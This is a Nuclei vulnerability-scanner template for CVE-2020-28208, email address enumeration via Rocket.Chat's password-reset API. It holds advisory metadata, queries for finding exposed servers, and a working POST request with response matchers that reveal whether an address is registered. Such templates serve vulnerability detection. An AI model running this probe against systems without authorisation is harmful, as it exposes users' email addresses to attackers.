id: CVE-2020-28208

info:
  name: Rocket.Chat <3.9.1 - Information Disclosure
  author: pdteam
  severity: medium
  description: Rocket.Chat through 3.9.1 is susceptible to information disclosure. An attacker can enumerate email addresses via the password reset function and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    The vulnerability can lead to the exposure of sensitive information, such as user credentials or private conversations, potentially compromising the confidentiality of the system.
  remediation: |
    Upgrade Rocket.Chat to version 3.9.1 or later to mitigate the information disclosure vulnerability (CVE-2020-28208).
  reference:
    - https://trovent.io/security-advisory-2010-01
    - https://trovent.github.io/security-advisories/TRSA-2010-01/TRSA-2010-01.txt
    - http://www.openwall.com/lists/oss-security/2021/01/07/1
    - http://packetstormsecurity.com/files/160845/Rocket.Chat-3.7.1-Email-Address-Enumeration.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28208
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-28208
    cwe-id: CWE-203
    epss-score: 0.11419
    epss-percentile: 0.95445
    cpe: cpe:2.3:a:rocket.chat:rocket.chat:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rocket.chat
    product: rocket.chat
    shodan-query: http.title:"rocket.chat"
    fofa-query: title="rocket.chat"
    google-query: intitle:"rocket.chat"
  tags: cve,cve2020,packetstorm,rocketchat,rocket.chat,vuln

http:
  - raw:
      - |
        POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json

        {"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"user@local.email\"],\"id\":\"3\"}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result\":false'
          - '"success":true'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b96e827019f6308234e61cd664cf314420422aa1de537dca783ae74b8ec26145022100bc62c8b029bae4147b0d224b7bf388fff81a21c1d0294fea09df597034ae6c0d:922c64590222798bb761d5b6d8e72950